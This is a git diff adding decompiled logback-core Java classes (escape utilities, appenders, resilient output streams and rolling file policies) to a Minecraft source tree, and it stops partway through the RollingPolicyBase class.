+
+public class AsIsEscapeUtil
+  implements IEscapeUtil
+{
+  public AsIsEscapeUtil() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public void escape(String escapeChars, StringBuffer buf, char next, int pointer)
+  {
+    buf.append("\\");
+    
+    buf.append(next);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/util/IEscapeUtil.java b/src/minecraft/ch/qos/logback/core/pattern/util/IEscapeUtil.java
new file mode 100644
index 0000000..d6c85d2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/util/IEscapeUtil.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.pattern.util;
+
+public abstract interface IEscapeUtil
+{
+  public abstract void escape(String paramString, StringBuffer paramStringBuffer, char paramChar, int paramInt);
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/util/RegularEscapeUtil.java b/src/minecraft/ch/qos/logback/core/pattern/util/RegularEscapeUtil.java
new file mode 100644
index 0000000..215b7b7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/util/RegularEscapeUtil.java
@@ -0,0 +1,92 @@
+package ch.qos.logback.core.pattern.util;
+
+
+
+
+
+
+
+
+
+public class RegularEscapeUtil
+  implements IEscapeUtil
+{
+  public RegularEscapeUtil() {}
+  
+
+
+
+
+
+
+
+  public void escape(String escapeChars, StringBuffer buf, char next, int pointer)
+  {
+    if (escapeChars.indexOf(next) >= 0) {
+      buf.append(next);
+    } else {
+      switch (next)
+      {
+      case '_': 
+        break;
+      case '\\': 
+        buf.append(next);
+        break;
+      case 't': 
+        buf.append('\t');
+        break;
+      case 'r': 
+        buf.append('\r');
+        break;
+      case 'n': 
+        buf.append('\n');
+        break;
+      default: 
+        String commaSeperatedEscapeChars = formatEscapeCharsForListing(escapeChars);
+        throw new IllegalArgumentException("Illegal char '" + next + " at column " + pointer + ". Only \\\\, \\_" + commaSeperatedEscapeChars + ", \\t, \\n, \\r combinations are allowed as escape characters.");
+      }
+    }
+  }
+  
+  String formatEscapeCharsForListing(String escapeChars)
+  {
+    StringBuilder commaSeperatedEscapeChars = new StringBuilder();
+    for (int i = 0; i < escapeChars.length(); i++) {
+      commaSeperatedEscapeChars.append(", \\").append(escapeChars.charAt(i));
+    }
+    return commaSeperatedEscapeChars.toString();
+  }
+  
+  public static String basicEscape(String s)
+  {
+    int len = s.length();
+    StringBuilder sbuf = new StringBuilder(len);
+    
+    int i = 0;
+    while (i < len) {
+      char c = s.charAt(i++);
+      if (c == '\\') {
+        c = s.charAt(i++);
+        if (c == 'n') {
+          c = '\n';
+        } else if (c == 'r') {
+          c = '\r';
+        } else if (c == 't') {
+          c = '\t';
+        } else if (c == 'f') {
+          c = '\f';
+        } else if (c == '\b') {
+          c = '\b';
+        } else if (c == '"') {
+          c = '"';
+        } else if (c == '\'') {
+          c = '\'';
+        } else if (c == '\\') {
+          c = '\\';
+        }
+      }
+      sbuf.append(c);
+    }
+    return sbuf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/util/RestrictedEscapeUtil.java b/src/minecraft/ch/qos/logback/core/pattern/util/RestrictedEscapeUtil.java
new file mode 100644
index 0000000..608e219
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/util/RestrictedEscapeUtil.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.pattern.util;
+
+
+
+
+
+
+
+
+
+public class RestrictedEscapeUtil
+  implements IEscapeUtil
+{
+  public RestrictedEscapeUtil() {}
+  
+
+
+
+
+
+
+
+  public void escape(String escapeChars, StringBuffer buf, char next, int pointer)
+  {
+    if (escapeChars.indexOf(next) >= 0) {
+      buf.append(next);
+    }
+    else
+    {
+      buf.append("\\");
+      
+      buf.append(next);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/property/FileExistsPropertyDefiner.java b/src/minecraft/ch/qos/logback/core/property/FileExistsPropertyDefiner.java
new file mode 100644
index 0000000..e9796c8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/property/FileExistsPropertyDefiner.java
@@ -0,0 +1,62 @@
+package ch.qos.logback.core.property;
+
+import ch.qos.logback.core.PropertyDefinerBase;
+import ch.qos.logback.core.util.OptionHelper;
+import java.io.File;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileExistsPropertyDefiner
+  extends PropertyDefinerBase
+{
+  String path;
+  
+  public FileExistsPropertyDefiner() {}
+  
+  public String getPath()
+  {
+    return path;
+  }
+  
+
+
+
+
+  public void setPath(String path)
+  {
+    this.path = path;
+  }
+  
+
+
+
+
+
+  public String getPropertyValue()
+  {
+    if (OptionHelper.isEmpty(path)) {
+      addError("The \"path\" property must be set.");
+      return null;
+    }
+    
+    File file = new File(path);
+    return booleanAsStr(file.exists());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/property/ResourceExistsPropertyDefiner.java b/src/minecraft/ch/qos/logback/core/property/ResourceExistsPropertyDefiner.java
new file mode 100644
index 0000000..3381137
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/property/ResourceExistsPropertyDefiner.java
@@ -0,0 +1,65 @@
+package ch.qos.logback.core.property;
+
+import ch.qos.logback.core.PropertyDefinerBase;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ResourceExistsPropertyDefiner
+  extends PropertyDefinerBase
+{
+  String resourceStr;
+  
+  public ResourceExistsPropertyDefiner() {}
+  
+  public String getResource()
+  {
+    return resourceStr;
+  }
+  
+
+
+
+
+  public void setResource(String resource)
+  {
+    resourceStr = resource;
+  }
+  
+
+
+
+
+
+  public String getPropertyValue()
+  {
+    if (OptionHelper.isEmpty(resourceStr)) {
+      addError("The \"resource\" property must be set.");
+      return null;
+    }
+    
+    URL resourceURL = Loader.getResourceBySelfClassLoader(resourceStr);
+    return booleanAsStr(resourceURL != null);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/read/CyclicBufferAppender.java b/src/minecraft/ch/qos/logback/core/read/CyclicBufferAppender.java
new file mode 100644
index 0000000..d60984e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/read/CyclicBufferAppender.java
@@ -0,0 +1,79 @@
+package ch.qos.logback.core.read;
+
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.helpers.CyclicBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CyclicBufferAppender<E>
+  extends AppenderBase<E>
+{
+  CyclicBuffer<E> cb;
+  
+  public CyclicBufferAppender() {}
+  
+  int maxSize = 512;
+  
+  public void start() {
+    cb = new CyclicBuffer(maxSize);
+    super.start();
+  }
+  
+  public void stop() {
+    cb = null;
+    super.stop();
+  }
+  
+  protected void append(E eventObject)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    cb.add(eventObject);
+  }
+  
+  public int getLength() {
+    if (isStarted()) {
+      return cb.length();
+    }
+    return 0;
+  }
+  
+  public E get(int i)
+  {
+    if (isStarted()) {
+      return cb.get(i);
+    }
+    return null;
+  }
+  
+  public void reset()
+  {
+    cb.clear();
+  }
+  
+
+
+  public int getMaxSize()
+  {
+    return maxSize;
+  }
+  
+  public void setMaxSize(int maxSize) {
+    this.maxSize = maxSize;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/read/ListAppender.java b/src/minecraft/ch/qos/logback/core/read/ListAppender.java
new file mode 100644
index 0000000..4e2af97
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/read/ListAppender.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.read;
+
+import ch.qos.logback.core.AppenderBase;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ListAppender<E>
+  extends AppenderBase<E>
+{
+  public ListAppender() {}
+  
+  public List<E> list = new ArrayList();
+  
+  protected void append(E e) {
+    list.add(e);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/recovery/RecoveryCoordinator.java b/src/minecraft/ch/qos/logback/core/recovery/RecoveryCoordinator.java
new file mode 100644
index 0000000..31b2076
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/recovery/RecoveryCoordinator.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.core.recovery;
+
+
+
+
+
+public class RecoveryCoordinator
+{
+  public static final long BACKOFF_COEFFICIENT_MIN = 20L;
+  
+
+
+
+  public RecoveryCoordinator() {}
+  
+
+
+
+  static long BACKOFF_COEFFICIENT_MAX = 327680L;
+  
+  private long backOffCoefficient = 20L;
+  
+  private static long UNSET = -1L;
+  private long currentTime = UNSET;
+  long next = System.currentTimeMillis() + getBackoffCoefficient();
+  
+  public boolean isTooSoon() {
+    long now = getCurrentTime();
+    if (now > next) {
+      next = (now + getBackoffCoefficient());
+      return false;
+    }
+    return true;
+  }
+  
+  void setCurrentTime(long forcedTime)
+  {
+    currentTime = forcedTime;
+  }
+  
+  private long getCurrentTime() {
+    if (currentTime != UNSET) {
+      return currentTime;
+    }
+    return System.currentTimeMillis();
+  }
+  
+  private long getBackoffCoefficient() {
+    long currentCoeff = backOffCoefficient;
+    if (backOffCoefficient < BACKOFF_COEFFICIENT_MAX) {
+      backOffCoefficient *= 4L;
+    }
+    return currentCoeff;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/recovery/ResilientFileOutputStream.java b/src/minecraft/ch/qos/logback/core/recovery/ResilientFileOutputStream.java
new file mode 100644
index 0000000..9b9ca49
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/recovery/ResilientFileOutputStream.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.core.recovery;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.channels.FileChannel;
+
+
+
+
+
+
+
+
+public class ResilientFileOutputStream
+  extends ResilientOutputStreamBase
+{
+  private File file;
+  private FileOutputStream fos;
+  
+  public ResilientFileOutputStream(File file, boolean append)
+    throws FileNotFoundException
+  {
+    this.file = file;
+    fos = new FileOutputStream(file, append);
+    os = new BufferedOutputStream(fos);
+    presumedClean = true;
+  }
+  
+  public FileChannel getChannel() {
+    if (os == null) {
+      return null;
+    }
+    return fos.getChannel();
+  }
+  
+  public File getFile() {
+    return file;
+  }
+  
+  String getDescription()
+  {
+    return "file [" + file + "]";
+  }
+  
+  OutputStream openNewOutputStream()
+    throws IOException
+  {
+    fos = new FileOutputStream(file, true);
+    return new BufferedOutputStream(fos);
+  }
+  
+  public String toString()
+  {
+    return "c.q.l.c.recovery.ResilientFileOutputStream@" + System.identityHashCode(this);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/recovery/ResilientOutputStreamBase.java b/src/minecraft/ch/qos/logback/core/recovery/ResilientOutputStreamBase.java
new file mode 100644
index 0000000..919cc2c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/recovery/ResilientOutputStreamBase.java
@@ -0,0 +1,168 @@
+package ch.qos.logback.core.recovery;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusManager;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ResilientOutputStreamBase
+  extends OutputStream
+{
+  static final int STATUS_COUNT_LIMIT = 8;
+  private int noContextWarning = 0;
+  private int statusCount = 0;
+  
+  private Context context;
+  
+  private RecoveryCoordinator recoveryCoordinator;
+  protected OutputStream os;
+  protected boolean presumedClean = true;
+  
+  public ResilientOutputStreamBase() {}
+  
+  private boolean isPresumedInError() { return (recoveryCoordinator != null) && (!presumedClean); }
+  
+  public void write(byte[] b, int off, int len)
+  {
+    if (isPresumedInError()) {
+      if (!recoveryCoordinator.isTooSoon()) {
+        attemptRecovery();
+      }
+      return;
+    }
+    try
+    {
+      os.write(b, off, len);
+      postSuccessfulWrite();
+    } catch (IOException e) {
+      postIOFailure(e);
+    }
+  }
+  
+  public void write(int b)
+  {
+    if (isPresumedInError()) {
+      if (!recoveryCoordinator.isTooSoon()) {
+        attemptRecovery();
+      }
+      return;
+    }
+    try {
+      os.write(b);
+      postSuccessfulWrite();
+    } catch (IOException e) {
+      postIOFailure(e);
+    }
+  }
+  
+  public void flush()
+  {
+    if (os != null) {
+      try {
+        os.flush();
+        postSuccessfulWrite();
+      } catch (IOException e) {
+        postIOFailure(e);
+      }
+    }
+  }
+  
+  abstract String getDescription();
+  
+  abstract OutputStream openNewOutputStream() throws IOException;
+  
+  private void postSuccessfulWrite() {
+    if (recoveryCoordinator != null) {
+      recoveryCoordinator = null;
+      statusCount = 0;
+      addStatus(new InfoStatus("Recovered from IO failure on " + getDescription(), this));
+    }
+  }
+  
+  public void postIOFailure(IOException e)
+  {
+    addStatusIfCountNotOverLimit(new ErrorStatus("IO failure while writing to " + getDescription(), this, e));
+    
+    presumedClean = false;
+    if (recoveryCoordinator == null) {
+      recoveryCoordinator = new RecoveryCoordinator();
+    }
+  }
+  
+  public void close() throws IOException
+  {
+    if (os != null) {
+      os.close();
+    }
+  }
+  
+  void attemptRecovery() {
+    try {
+      close();
+    }
+    catch (IOException e) {}
+    
+    addStatusIfCountNotOverLimit(new InfoStatus("Attempting to recover from IO failure on " + getDescription(), this));
+    
+
+    try
+    {
+      os = openNewOutputStream();
+      presumedClean = true;
+    } catch (IOException e) {
+      addStatusIfCountNotOverLimit(new ErrorStatus("Failed to open " + getDescription(), this, e));
+    }
+  }
+  
+  void addStatusIfCountNotOverLimit(Status s)
+  {
+    statusCount += 1;
+    if (statusCount < 8) {
+      addStatus(s);
+    }
+    
+    if (statusCount == 8) {
+      addStatus(s);
+      addStatus(new InfoStatus("Will supress future messages regarding " + getDescription(), this));
+    }
+  }
+  
+  public void addStatus(Status status)
+  {
+    if (context == null) {
+      if (noContextWarning++ == 0) {
+        System.out.println("LOGBACK: No context given for " + this);
+      }
+      return;
+    }
+    StatusManager sm = context.getStatusManager();
+    if (sm != null) {
+      sm.add(status);
+    }
+  }
+  
+  public Context getContext() {
+    return context;
+  }
+  
+  public void setContext(Context context) {
+    this.context = context;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/recovery/ResilientSyslogOutputStream.java b/src/minecraft/ch/qos/logback/core/recovery/ResilientSyslogOutputStream.java
new file mode 100644
index 0000000..ef51eb0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/recovery/ResilientSyslogOutputStream.java
@@ -0,0 +1,51 @@
+package ch.qos.logback.core.recovery;
+
+import ch.qos.logback.core.net.SyslogOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.SocketException;
+import java.net.UnknownHostException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ResilientSyslogOutputStream
+  extends ResilientOutputStreamBase
+{
+  String syslogHost;
+  int port;
+  
+  public ResilientSyslogOutputStream(String syslogHost, int port)
+    throws UnknownHostException, SocketException
+  {
+    this.syslogHost = syslogHost;
+    this.port = port;
+    os = new SyslogOutputStream(syslogHost, port);
+    presumedClean = true;
+  }
+  
+  String getDescription()
+  {
+    return "syslog [" + syslogHost + ":" + port + "]";
+  }
+  
+  OutputStream openNewOutputStream() throws IOException
+  {
+    return new SyslogOutputStream(syslogHost, port);
+  }
+  
+  public String toString()
+  {
+    return "c.q.l.c.recovery.ResilientSyslogOutputStream@" + System.identityHashCode(this);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/DefaultTimeBasedFileNamingAndTriggeringPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/DefaultTimeBasedFileNamingAndTriggeringPolicy.java
new file mode 100644
index 0000000..08e98ce
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/DefaultTimeBasedFileNamingAndTriggeringPolicy.java
@@ -0,0 +1,57 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.rolling.helper.ArchiveRemover;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.rolling.helper.TimeBasedArchiveRemover;
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultTimeBasedFileNamingAndTriggeringPolicy<E>
+  extends TimeBasedFileNamingAndTriggeringPolicyBase<E>
+{
+  public DefaultTimeBasedFileNamingAndTriggeringPolicy() {}
+  
+  public void start()
+  {
+    super.start();
+    archiveRemover = new TimeBasedArchiveRemover(tbrp.fileNamePattern, rc);
+    archiveRemover.setContext(context);
+    started = true;
+  }
+  
+  public boolean isTriggeringEvent(File activeFile, E event) {
+    long time = getCurrentTime();
+    if (time >= nextCheck) {
+      Date dateOfElapsedPeriod = dateInCurrentPeriod;
+      addInfo("Elapsed period: " + dateOfElapsedPeriod);
+      elapsedPeriodsFileName = tbrp.fileNamePatternWCS.convert(dateOfElapsedPeriod);
+      
+      setDateInCurrentPeriod(time);
+      computeNextCheck();
+      return true;
+    }
+    return false;
+  }
+  
+
+  public String toString()
+  {
+    return "c.q.l.core.rolling.DefaultTimeBasedFileNamingAndTriggeringPolicy";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/FixedWindowRollingPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/FixedWindowRollingPolicy.java
new file mode 100644
index 0000000..6a1883b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/FixedWindowRollingPolicy.java
@@ -0,0 +1,185 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.rolling.helper.Compressor;
+import ch.qos.logback.core.rolling.helper.FileFilterUtil;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.rolling.helper.IntegerTokenConverter;
+import ch.qos.logback.core.rolling.helper.RenameUtil;
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FixedWindowRollingPolicy
+  extends RollingPolicyBase
+{
+  static final String FNP_NOT_SET = "The \"FileNamePattern\" property must be set before using FixedWindowRollingPolicy. ";
+  static final String PRUDENT_MODE_UNSUPPORTED = "See also http://logback.qos.ch/codes.html#tbr_fnp_prudent_unsupported";
+  static final String SEE_PARENT_FN_NOT_SET = "Please refer to http://logback.qos.ch/codes.html#fwrp_parentFileName_not_set";
+  int maxIndex;
+  int minIndex;
+  RenameUtil util = new RenameUtil();
+  
+
+  Compressor compressor;
+  
+
+  public static final String ZIP_ENTRY_DATE_PATTERN = "yyyy-MM-dd_HHmm";
+  
+  private static int MAX_WINDOW_SIZE = 20;
+  
+  public FixedWindowRollingPolicy() {
+    minIndex = 1;
+    maxIndex = 7;
+  }
+  
+  public void start() {
+    util.setContext(context);
+    
+    if (fileNamePatternStr != null) {
+      fileNamePattern = new FileNamePattern(fileNamePatternStr, context);
+      determineCompressionMode();
+    } else {
+      addError("The \"FileNamePattern\" property must be set before using FixedWindowRollingPolicy. ");
+      addError("See also http://logback.qos.ch/codes.html#tbr_fnp_not_set");
+      throw new IllegalStateException("The \"FileNamePattern\" property must be set before using FixedWindowRollingPolicy. See also http://logback.qos.ch/codes.html#tbr_fnp_not_set");
+    }
+    
+    if (isParentPrudent()) {
+      addError("Prudent mode is not supported with FixedWindowRollingPolicy.");
+      addError("See also http://logback.qos.ch/codes.html#tbr_fnp_prudent_unsupported");
+      throw new IllegalStateException("Prudent mode is not supported.");
+    }
+    
+    if (getParentsRawFileProperty() == null) {
+      addError("The File name property must be set before using this rolling policy.");
+      addError("Please refer to http://logback.qos.ch/codes.html#fwrp_parentFileName_not_set");
+      throw new IllegalStateException("The \"File\" option must be set.");
+    }
+    
+    if (maxIndex < minIndex) {
+      addWarn("MaxIndex (" + maxIndex + ") cannot be smaller than MinIndex (" + minIndex + ").");
+      
+      addWarn("Setting maxIndex to equal minIndex.");
+      maxIndex = minIndex;
+    }
+    
+    int maxWindowSize = getMaxWindowSize();
+    if (maxIndex - minIndex > maxWindowSize) {
+      addWarn("Large window sizes are not allowed.");
+      maxIndex = (minIndex + maxWindowSize);
+      addWarn("MaxIndex reduced to " + maxIndex);
+    }
+    
+    IntegerTokenConverter itc = fileNamePattern.getIntegerTokenConverter();
+    
+    if (itc == null) {
+      throw new IllegalStateException("FileNamePattern [" + fileNamePattern.getPattern() + "] does not contain a valid IntegerToken");
+    }
+    
+
+
+    if (compressionMode == CompressionMode.ZIP) {
+      String zipEntryFileNamePatternStr = transformFileNamePatternFromInt2Date(fileNamePatternStr);
+      zipEntryFileNamePattern = new FileNamePattern(zipEntryFileNamePatternStr, context);
+    }
+    compressor = new Compressor(compressionMode);
+    compressor.setContext(context);
+    super.start();
+  }
+  
+
+
+
+
+  protected int getMaxWindowSize()
+  {
+    return MAX_WINDOW_SIZE;
+  }
+  
+  private String transformFileNamePatternFromInt2Date(String fileNamePatternStr) {
+    String slashified = FileFilterUtil.slashify(fileNamePatternStr);
+    String stemOfFileNamePattern = FileFilterUtil.afterLastSlash(slashified);
+    return stemOfFileNamePattern.replace("%i", "%d{yyyy-MM-dd_HHmm}");
+  }
+  
+
+
+  public void rollover()
+    throws RolloverFailure
+  {
+    if (maxIndex >= 0)
+    {
+      File file = new File(fileNamePattern.convertInt(maxIndex));
+      
+      if (file.exists()) {
+        file.delete();
+      }
+      
+
+      for (int i = maxIndex - 1; i >= minIndex; i--) {
+        String toRenameStr = fileNamePattern.convertInt(i);
+        File toRename = new File(toRenameStr);
+        
+        if (toRename.exists()) {
+          util.rename(toRenameStr, fileNamePattern.convertInt(i + 1));
+        } else {
+          addInfo("Skipping roll-over for inexistent file " + toRenameStr);
+        }
+      }
+      
+
+      switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$CompressionMode[compressionMode.ordinal()]) {
+      case 1: 
+        util.rename(getActiveFileName(), fileNamePattern.convertInt(minIndex));
+        
+        break;
+      case 2: 
+        compressor.compress(getActiveFileName(), fileNamePattern.convertInt(minIndex), null);
+        break;
+      case 3: 
+        compressor.compress(getActiveFileName(), fileNamePattern.convertInt(minIndex), zipEntryFileNamePattern.convert(new Date()));
+      }
+      
+    }
+  }
+  
+
+
+  public String getActiveFileName()
+  {
+    return getParentsRawFileProperty();
+  }
+  
+  public int getMaxIndex() {
+    return maxIndex;
+  }
+  
+  public int getMinIndex() {
+    return minIndex;
+  }
+  
+  public void setMaxIndex(int maxIndex) {
+    this.maxIndex = maxIndex;
+  }
+  
+  public void setMinIndex(int minIndex) {
+    this.minIndex = minIndex;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/RollingFileAppender.java b/src/minecraft/ch/qos/logback/core/rolling/RollingFileAppender.java
new file mode 100644
index 0000000..6eb8fef
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/RollingFileAppender.java
@@ -0,0 +1,215 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.FileAppender;
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import java.io.File;
+import java.io.IOException;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RollingFileAppender<E>
+  extends FileAppender<E>
+{
+  File currentlyActiveFile;
+  TriggeringPolicy<E> triggeringPolicy;
+  RollingPolicy rollingPolicy;
+  
+  public RollingFileAppender() {}
+  
+  private static String RFA_NO_TP_URL = "http://logback.qos.ch/codes.html#rfa_no_tp";
+  private static String RFA_NO_RP_URL = "http://logback.qos.ch/codes.html#rfa_no_rp";
+  private static String COLLISION_URL = "http://logback.qos.ch/codes.html#rfa_collision";
+  
+  public void start() {
+    if (triggeringPolicy == null) {
+      addWarn("No TriggeringPolicy was set for the RollingFileAppender named " + getName());
+      
+      addWarn("For more information, please visit " + RFA_NO_TP_URL);
+      return;
+    }
+    
+
+    if (!append) {
+      addWarn("Append mode is mandatory for RollingFileAppender");
+      append = true;
+    }
+    
+    if (rollingPolicy == null) {
+      addError("No RollingPolicy was set for the RollingFileAppender named " + getName());
+      
+      addError("For more information, please visit " + RFA_NO_RP_URL);
+      return;
+    }
+    
+
+    if (fileAndPatternCollide()) {
+      addError("File property collides with fileNamePattern. Aborting.");
+      addError("For more information, please visit " + COLLISION_URL);
+      return;
+    }
+    
+    if (isPrudent()) {
+      if (rawFileProperty() != null) {
+        addWarn("Setting \"File\" property to null on account of prudent mode");
+        setFile(null);
+      }
+      if (rollingPolicy.getCompressionMode() != CompressionMode.NONE) {
+        addError("Compression is not supported in prudent mode. Aborting");
+        return;
+      }
+    }
+    
+    currentlyActiveFile = new File(getFile());
+    addInfo("Active log file name: " + getFile());
+    super.start();
+  }
+  
+  private boolean fileAndPatternCollide() {
+    if ((triggeringPolicy instanceof RollingPolicyBase)) {
+      RollingPolicyBase base = (RollingPolicyBase)triggeringPolicy;
+      FileNamePattern fileNamePattern = fileNamePattern;
+      
+      if ((fileNamePattern != null) && (fileName != null)) {
+        String regex = fileNamePattern.toRegex();
+        return fileName.matches(regex);
+      }
+    }
+    return false;
+  }
+  
+  public void stop()
+  {
+    if (rollingPolicy != null) rollingPolicy.stop();
+    if (triggeringPolicy != null) triggeringPolicy.stop();
+    super.stop();
+  }
+  
+
+
+  public void setFile(String file)
+  {
+    if ((file != null) && ((triggeringPolicy != null) || (rollingPolicy != null))) {
+      addError("File property must be set before any triggeringPolicy or rollingPolicy properties");
+      addError("Visit http://logback.qos.ch/codes.html#rfa_file_after for more information");
+    }
+    super.setFile(file);
+  }
+  
+  public String getFile()
+  {
+    return rollingPolicy.getActiveFileName();
+  }
+  
+
+
+  public void rollover()
+  {
+    lock.lock();
+    
+
+
+
+    try
+    {
+      closeOutputStream();
+      attemptRollover();
+      attemptOpenFile();
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+  private void attemptOpenFile()
+  {
+    try {
+      currentlyActiveFile = new File(rollingPolicy.getActiveFileName());
+      
+
+      openFile(rollingPolicy.getActiveFileName());
+    } catch (IOException e) {
+      addError("setFile(" + fileName + ", false) call failed.", e);
+    }
+  }
+  
+  private void attemptRollover() {
+    try {
+      rollingPolicy.rollover();
+    } catch (RolloverFailure rf) {
+      addWarn("RolloverFailure occurred. Deferring roll-over.");
+      
+      append = true;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  protected void subAppend(E event)
+  {
+    synchronized (triggeringPolicy) {
+      if (triggeringPolicy.isTriggeringEvent(currentlyActiveFile, event)) {
+        rollover();
+      }
+    }
+    
+    super.subAppend(event);
+  }
+  
+  public RollingPolicy getRollingPolicy() {
+    return rollingPolicy;
+  }
+  
+  public TriggeringPolicy<E> getTriggeringPolicy() {
+    return triggeringPolicy;
+  }
+  
+
+
+
+
+
+
+
+  public void setRollingPolicy(RollingPolicy policy)
+  {
+    rollingPolicy = policy;
+    if ((rollingPolicy instanceof TriggeringPolicy)) {
+      triggeringPolicy = ((TriggeringPolicy)policy);
+    }
+  }
+  
+  public void setTriggeringPolicy(TriggeringPolicy<E> policy)
+  {
+    triggeringPolicy = policy;
+    if ((policy instanceof RollingPolicy)) {
+      rollingPolicy = ((RollingPolicy)policy);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/RollingPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/RollingPolicy.java
new file mode 100644
index 0000000..d75ef1d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/RollingPolicy.java
@@ -0,0 +1,18 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.FileAppender;
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.spi.LifeCycle;
+
+public abstract interface RollingPolicy
+  extends LifeCycle
+{
+  public abstract void rollover()
+    throws RolloverFailure;
+  
+  public abstract String getActiveFileName();
+  
+  public abstract CompressionMode getCompressionMode();
+  
+  public abstract void setParent(FileAppender paramFileAppender);
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/RollingPolicyBase.java b/src/minecraft/ch/qos/logback/core/rolling/RollingPolicyBase.java
new file mode 100644
index 0000000..1421926
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/RollingPolicyBase.java
@@ -0,0 +1,96 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.FileAppender;
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class RollingPolicyBase
+  extends ContextAwareBase
+  implements RollingPolicy
+{
+  protected CompressionMode compressionMode = CompressionMode.NONE;
+  
+
+  FileNamePattern fileNamePattern;
+  
+
+  protected String fileNamePatternStr;
+  
+  private FileAppender parent;
+  
+  FileNamePattern zipEntryFileNamePattern;
+  
+  private boolean started;
+  
+
+  public RollingPolicyBase() {}
+  
+
+  protected void determineCompressionMode()
+  {
+    if (fileNamePatternStr.endsWith(".gz")) {
+      addInfo("Will use gz compression");
+      compressionMode = CompressionMode.GZ;
+    } else if (fileNamePatternStr.endsWith(".zip")) {
+      addInfo("Will use zip compression");
+      compressionMode = CompressionMode.ZIP;
+    } else {
+      addInfo("No compression will be used");
+      compressionMode = CompressionMode.NONE;
+    }
+  }
+  
+  public void setFileNamePattern(String fnp) {
+    fileNamePatternStr = fnp;
+  }
+  
+  public String getFileNamePattern() {
+    return fileNamePatternStr;
+  }
+  
